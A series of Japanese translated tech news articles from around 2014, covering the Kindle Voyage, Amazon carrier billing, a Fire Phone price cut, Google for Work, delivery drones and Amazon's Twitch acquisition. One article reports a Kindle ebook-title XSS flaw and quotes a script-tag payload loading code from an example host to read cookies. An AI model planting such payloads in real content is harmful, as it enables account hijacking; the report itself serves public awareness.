昨年末でも報じたように、Voyageの魅力は300ppiの解像度のみではない。その頃から言っていたように、さらに薄く、そして軽くなっているのだ。日本サイトの情報から見るに、厚さは8mmで重さは186gであるとのこと。これら数値はいずれもPaperwhiteを凌いでいる。リークしたとされるマニュアルによれば、ベゼルの左右部分にセンサーが備えられており、ここでページ送りの操作ができるようにもなっているらしい。画面まで指を伸ばす必要がなくなるわけだ。ちなみに、初代Kindleにはページ送りのためのボタンがあったが、タッチスクリーンモデルとなってからは、このボタンは廃されていた。

どうやら漏れでた情報もかなり確度の高いもののように思える。そのような中、Amazonからはまだ正式なアナウンスはない。ただ、リリース日に関する情報から考えるに、正式なアナウンスもさほど遠くないものと思われる。

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(翻訳:Maeda, H


Amazonが有料アプリやアプリ内購入にキャリア課金を開始、まずドイツのO2から

【抄訳】

eコマースの巨人Amazonは、成長著しいモバイル部門にスマートフォンまで加え、そして今度はモバイルのユーザをさらに増やすべく、新たな要素を取り入れようとしている。それは、キャリア課金だ。有料アプリやアプリ内購入など、何を買ってもそのサイトに直接払うのではなく、電話会社からの月末の請求書にその代金や料金の請求が含まれている方式を、キャリア課金(carrier billing)という。Amazonが2011年の12月から関係を構築しているイギリスのキャリア課金企業Bangoによると、Amazonのキャリア課金はまずドイツのO2(Telefonicaが買収)で来年から始まる。具体的には、ドイツで使われているTelefonicaのデバイスの上で動いている一部のAmazonアプリケーションで、キャリア課金が行われる。

私の知る限り、それに該当する機種は一つしかない。ドイツでO2のネットワーク上でSamsung Galaxy Miniを使っていて有料アプリを買っても、その請求は個別にユーザのところへ直接来る。

Amazonが実際にキャリア課金を始めるまで…Bangoとの付き合い開始から…3年近くかかっているわけだが、しかし今後の展開は早いだろう。たとえばAmazonはスマートフォンFire Phoneに関してO2とパートナーしていないが、T-Mobileのオーナー企業であるDeutsche Telekom(O2のライバル)とはしている。

ドイツAmazonのFire Phoneのページには、“Amazon Fire PhoneはDeutsche Telekomとの契約に付随している”、と書かれている。つまりFireはTelelomのSIMカードでないと使えないのだ。

それなのに現状では、ドイツでFire Phoneの上でアプリ内購入などをしても、キャリア課金の便宜は提供されないのだ。今のところは、O2ネットワーク上のAndroidユーザのみだ。

しかしBangoの発表によると、ドイツのDeutsche Telekomとのキャリア課金のための接続契約は先月行われている。同社はドイツ以外の市場では、キャリアとの契約をすでに済ませている。

いくつかのアプリストアがすでにキャリア課金を提供しており、BangoもFortumoやBokuなどと並んでそういう企業の一つだ。キャリア課金には、便利さのほかにセキュリティというメリットもある。キャリア課金なら、買い物の都度いちいちユーザ情報を入力する必要がないからだ。だからAmazonも今後本格的に導入していくだろう。

【後略】

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(翻訳:iwatani(a.k.a. hiwa))


KindleのeBookでAmazonアカウントに侵入するハック

かなり厄介な欠陥 ― 電子書籍の題名テキスト中でスクリプトを実行できる ― によって、Amazonアカウントのセキュリティーが破られる恐れがある。この欠陥は、過去にパッチされた後最近また現れたもので、電子書籍ファイルにプログラムを埋め込んでおくと、AmazonのKindle用ツールでその本を扱った時に実行される。現在は塞がれているようだが、アプリや他のサイトには影響を与える可能性がある。

このハックは、Kindleストアの “Manage Your Content and Devices”および“Manage your Kindle”ページに侵入する。

詳しくはここに書いてあるが、簡単に言えば本のタイトルに「<script src=”ttps://www.example.org/script.js”></script>」のようなテキストを埋め込むことによって行われる。上に挙げたページでこの種の本を調べると、スクリプトが実行されクッキーが読まれて悪質な改竄が行われる。

殆どの合法的eBookは安全だが、ハッカーはこれを利用して海賊本をターゲットにする可能性がある。研究者のBenjamin Daniel Musslerがこう書いている。

この脆弱性の被害にあう可能性が最も高いのは、電子書籍を信用できないサイト(=海賊版サイト)から入手して、Amazonの “Send to Kindle”サービスを利用して端末に送るユーザーだ。この種の脆弱性はアクティブなAmazonアカウントにアクセスする機会を提供するものだ。

Kindleは、海賊本で(合法な本でも)よく使われるフォーマットである .mobiファイルを読むことができる。Amazon独自の .azw フォーマットは影響を受けない。Musslerは、Kindleのアカウントページにポップアップウィンドウを表示する概念実証用ファイルを作った。このデモ文書は既に無効のようだが ― 私は2度試してみた ― 脆弱性が今も生きていることを示すスクリーンショットがいくつある。

今のところこの脆弱性は殆ど無害のようだが、今後同種のハックが他のアプリやサービスに侵入する可能性はある。というわけで、海賊版や自作電子本をダウンロードする時は要注意だ。

via TheDigitalReader

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(翻訳:Nob Takahashi / facebook


iPhone 6のローンチ前夜、AmazonはFireスマートフォンを99セントに値下げ

製品が順調に売れているなら絶対にしないことがある。たとえば、ローンチ後、わずか2ヶ月で値段を99.5%も下げることなどだ。AmazonはFireスマートフォンを200ドルから99セントに値下げした。

ただし、1ドル紙幣を握りしめてAmazonに駆けつける前に、99セントというのは2年縛りの契約で、しかもキャリヤはAT&Tのみという条件に注意すべきだろう。AT&Tの一番安い契約でも月額60ドルだから、本体価格は1ドルでも2年間の費用総額は1441ドルになる。

AT&Tの契約なしの単体のFIre 32GBは依然として449ドルだ。

明日には間違いなく新しいiPhoneが発表されるし、AndroidスマートフォンはほとんどがFireよりお買い得だという事実を無視して大幅割引に飛びつきたい読者は、こちらから購入できる

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(翻訳:滑川海彦@Facebook Google+


Googleに新ブランド‘Google For Work’が生まれる…一連の生産性ツールのブランドイメージ強化/明確化のため

今朝(米国時間9/2)Googleは同社のサンフランシスコのオフィスで、同社のエンタプライズプロダクトのブランド名を変えて、一連のツールと生産性サービスを’Google for Work’にリネームする、と発表した。

この新しい呼び方は同社のさまざまなビジネスツールをすべてカバーし、そのそれぞれに’for Work’という接尾詞が付く。Drive for Work、Search for Work、などのように。

改名の理由としてGoogleは、すでに好評な各ツールのブランドイメージが向上することと、それぞれのツールの目的が直感的にわかることを挙げている。それはDriveだけど、お仕事(work)用、という具合に。すでにGoogleの教育用ツールやサービスは、このように束(たば)ねられて、独自のブログを持った。

Googleのエンタプライズ方面と生産性ツール(OAソフト)方面の取り組みは、とりわけ、Microsoftとの競合を意識している。Microsoftの新CEO Satya Nadellaが最近掲げたスローガンが、‘生産性とプラットホーム’だが、Googleもまさにそうだろう。BoxやDropbox、Appleなども、この炎の中で自分の剣を鍛えている。

Googleのエンタプライズ担当部長Amit Singhは記者たちに、同社の企業顧客向けクラウドストレージサービスDrive for Workは、新規の登録ユーザが毎週2000名近くある、と語った。そして今ではFortune 500企業の60%がGoogle for Workを有料サービスとして利用しているそうだ。

Googleは、クラウドコンピューティングとクラウドストレージの料金に関して思い切った値下げを行ってきた。同社のデータセンターは巨大だから、コモディティ(日用品)のようなツールは最低の料金で提供できる。Amazonなども同じく料金を下げているので、市場全体としても安値傾向だ。

コモディティ的なクラウドサービスから大きな売上が得られなくなると、エンドユーザ向けのツールやサービスに意識が向かう。でもGoogleは、どっちの市場でも一定のシェアを握りたいようだ。

Singhによると、ITの費用など一部の費用はムーアの法則に従って下降しないが、それは、企業が抱えているレガシーの遺産から発生する費用のせいだ。それらのリソースは昔は会社の経営に貢献したが、今のビジネス環境では重荷になっている。それらを全部捨てて、クラウドサービスに移行した方がコスト的にも良い、とSinghらは主張する。

しかしGoogleの一連の生産性サービスは、今後、Googleの主要な収益源になるのだろうか。この前の四半期の決算報告では、‘その他の売上’が全売上のわずか10%だった。ただし売上成長率は全科目の中で最高、前年同期比で53%増だった。Googleの総売上は前年同期比で22%増だから、‘その他’という科目はちょっとした優等生なのだ。

Google自身が、この分野を重視していることは、確実だ。

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(翻訳:iwatani(a.k.a. hiwa))


Google、ドローン支配を巡りAmazonに挑戦

歯みがき粉がなくなったので今すぐ欲しい? Googleがドローンで届けようとしている。マウンテンビューのIT巨人が今日発表した

GoogleはAmazonに続き、消費者向け配達用ドローン技術を構築していることを発表した。Amazonは、買い物客に小さなパッケージを配達するドローンを開発中であることを以前に発表している。

しかし、両社のビジョンは異なる。Googleの計画は、驚くほど早い配達、恐らく2分くらいを目指していると、The Atlanticの長文記事は伝えている。一方Amazonは、30分程度の時間に焦点を合わせている。

私は、Googleがどんな商品であれドローンを使って2分間配達を実現できるとは信じられない。商品の取り出し、荷作り、飛行時間、および配達に必要な時間は、サプライチェーンの効率化によって削減可能ではあるが限界がある。一方Amazonは、様々な商品を揃え配達することに関して多くの経験がありはるかに高い即応性を有している。

違いは他にもある。Googleのドローンは、商品を空中から下に降ろすが、Amazonの機体は着地する、少なくとも現在の方式では。

非軍用ドローンは、未だ初期段階にあるテクノロジーだが、今や企業の投資によって急速に成熟しつつある。

Googleは、一部の地域で従来型の自動車を使った同日配達サービスも運用している。この会社は、自動運転車も開発中であり、ベンチャーキャピタル子会社を通じてUberにも出資しいる。こうした行動から見て、同社のドローンへの取り組みは、物理的製品を移動する方式の一環であり、怪しげな科学実験ではなさそうだ。

The Atlanticは今日(米国時間8/28)、Googleのテクノロジーを未だに発達段階にあることを指摘した。

製造品質はピカ一だ。遠くからは、カスタム製エレクトロニクス満載の輝く完成品のように見えるが、近くで見ると、本体はハンドメイドで作り込まれていることがわかる。指紋の汚れもある。いくつかの部品は専門的に作られているようだが、社内の作業場で工作したと思われるものもある。これは進行中のプロジェクトだ。

というわけで、Googleドローン一般公開は、まだまだ先になりそうだ。

両社共に国の強い規制の壁に直面している ― 米国航空局(FAA)は、ドローンの商業利用を取り締る一方で、公式ドローン試験場をサポートしている。FAAが締切りを守っていないという不満も出ている。

Amazonは、規制の緩和を要望している。

次は何か? Google、Amazon共に、平均的消費者が欲しがるような安全で便利な機体を作るだけでなく、経済的に立ち上げ可能なものにする必要がある。これは並み大抵の挑戦ではない。

トップ画像提供:Google

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(翻訳:Nob Takahashi / facebook


Amazon、Googleを退けてゲーム・ストリーミングのTwitchを買収―金額は10億ドル以上


Twitchの共同ファウンダー、Emmett Shear(左)とKevin Lin(右)

アップデート: TwitchはAmazonによる買収を確認した。ただし金額を明らかにすることは避けた。

アップデート2:AmazonもTwitch買収の報道を確認し、買収金額は9億7000万ドルのキャッシュと発表した。Amazonの最近の四半期決算では現金及び現金等価物は50億6000万ドルだったから、今回の買収でその約2割を使ったことになる。

さる5月にGoogleはTwitchを10億ドルで買収することが確実視されていた。それを土壇場でAmazonがひっくり返すことに成功したとは驚きだ。

Googleが まだ非常に若いメディア企業を欲しがった理由は明白だ。Twitchは若い男性層への浸透で他の追随を許さない急成長を続けているからだ。 GoogleがYouTubeに加えて、このユーザー層も広告主に提供したがることは理解しやすい。

それに対してAmazonがTwitchを狙ったことはやや意外だった。Amazonも有料のプライム・サービス向けにコンテンツの充実を急いでいる。しかしTwitchは広告を収入源とする完全無料のサービスで、Googleの方がビジネスモデル上の相性がよいはずだった。むろんAmazonもコンテンツの充実によって大いに益するところはあるだろうが、相乗効果としては疑問が残るところだ。

Twitchはライフログビデオのパイオニア、Justin.tvからのスピンオフだったが、ファウンダーたちはTwitchに専念するために最近Justin.tvを閉鎖した

これまでTwitchはBessemer Venture Partners、Alsop Louie Partners、WestSummit Capital、Take-Two Interactive Software、Draper Associates、Thrive Capitalから3500万ドルを調達している。

Twitchの共同ファウンダー、Emmett Shearは来月サンフランシスコで開催されるTechCrunch Disrupt参加予定だ。そのときにさらに詳しい話が聞けるものと期待している。

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(翻訳:滑川海彦@Facebook Google+